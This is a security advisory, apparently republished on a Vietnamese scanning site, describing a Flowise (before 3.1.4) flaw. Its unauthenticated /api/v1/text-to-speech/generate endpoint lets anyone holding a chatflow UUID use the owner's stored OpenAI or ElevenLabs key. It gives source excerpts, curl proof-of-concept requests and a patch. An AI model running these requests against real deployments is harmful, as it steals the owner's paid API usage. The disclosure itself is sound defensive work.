| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| flowise | < 3.1.4 | 3.1.4 |
| flowise | < 3.1.4 | 3.1.4 |
The /api/v1/text-to-speech/generate endpoint is whitelisted (requires no authentication) and accepts any chatflowId without checking whether the referenced chatflow is public. An unauthenticated attacker who knows a valid chatflow UUID can abuse that chatflow's TTS credential (OpenAI or ElevenLabs API key) to generate unlimited text-to-speech audio, incurring costs on the chatflow owner's account.
The TTS generateTextToSpeech controller at packages/server/src/controllers/text-to-speech/index.ts:10-171 is whitelisted at packages/server/src/utils/constants.ts:41:
'/api/v1/text-to-speech/generate',
When a chatflowId is provided and the user is not authenticated (no req.user), the controller falls back to fetching the chatflow without workspace scoping:
// packages/server/src/controllers/text-to-speech/index.ts:36-42
if (workspaceId) {
chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId)
} else {
// Fallback: get workspaceId from chatflow when req.user.activeWorkspaceId is not set
chatflow = await chatflowsService.getChatflowById(chatflowId) // NO isPublic check
workspaceId = chatflow.workspaceId
}
The getChatflowById function at packages/server/src/services/chatflows/index.ts:247-272 fetches any chatflow by ID when workspaceId is not provided:
const dbResponse = await appServer.AppDataSource.getRepository(ChatFlow).findOne({
where: {
id: chatflowId,
...(workspaceId ? { workspaceId } : {}) // No workspace filter when workspaceId is undefined
}
})
The controller then extracts the TTS provider configuration from the chatflow:
// packages/server/src/controllers/text-to-speech/index.ts:51-66
const ttsConfig = JSON.parse(chatflow.textToSpeech)
const activeProviderKey = Object.keys(ttsConfig).find(key => ttsConfig[key].status === true)
const providerConfig = ttsConfig[activeProviderKey]
provider = activeProviderKey
credentialId = providerConfig.credentialId // Extracted from private chatflow
This credentialId is then used to decrypt and use the stored credential (OpenAI or ElevenLabs API key) to make TTS API calls at packages/components/src/textToSpeech.ts:33-34:
const credentialId = textToSpeechConfig.credentialId as string
const credentialData = await getCredentialData(credentialId ?? '', options)
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phí# Step 1: Know a chatflow UUID that has TTS enabled (any chatflow, public or private)
CHATFLOW_ID="<any-chatflow-uuid-with-tts-enabled>"
# Step 2: Abuse the TTS credential to generate audio without authentication
curl -X POST "http://localhost:3000/api/v1/text-to-speech/generate" \
-H "Content-Type: application/json" \
-d '{
"chatflowId": "'${CHATFLOW_ID}'",
"chatId": "attacker-chat-1",
"chatMessageId": "msg-1",
"text": "This is a test of unauthorized TTS generation using someone elses API key"
}'
# Expected: Returns SSE stream with TTS audio data using the chatflow owner's OpenAI/ElevenLabs credentials
# event: tts_start
# data: {"event":"tts_start","data":{"chatMessageId":"msg-1","format":"mp3"}}
# event: tts_data
# data: {"event":"tts_data","data":{"chatMessageId":"msg-1","audioChunk":"<base64-audio>"}}
# Step 3: Repeat with large text to incur costs
curl -X POST "http://localhost:3000/api/v1/text-to-speech/generate" \
-H "Content-Type: application/json" \
-d '{
"chatflowId": "'${CHATFLOW_ID}'",
"chatId": "attacker-chat-2",
"chatMessageId": "msg-2",
"text": "'$(python3 -c "print('A' * 4096)")'"
}'
isPublic: false).isPublic before allowing unauthenticated TTS generation:// packages/server/src/controllers/text-to-speech/index.ts
if (chatflowId) {
let chatflow;
let workspaceId = req.user?.activeWorkspaceId;
if (workspaceId) {
chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId)
} else {
chatflow = await chatflowsService.getChatflowById(chatflowId)
// Verify the chatflow is public before using its credentials
if (!chatflow.isPublic) {
throw new InternalFlowiseError(
StatusCodes.UNAUTHORIZED,
'TTS generation requires authentication for non-public chatflows'
)
}
workspaceId = chatflow.workspaceId
}
// ... rest of the function
}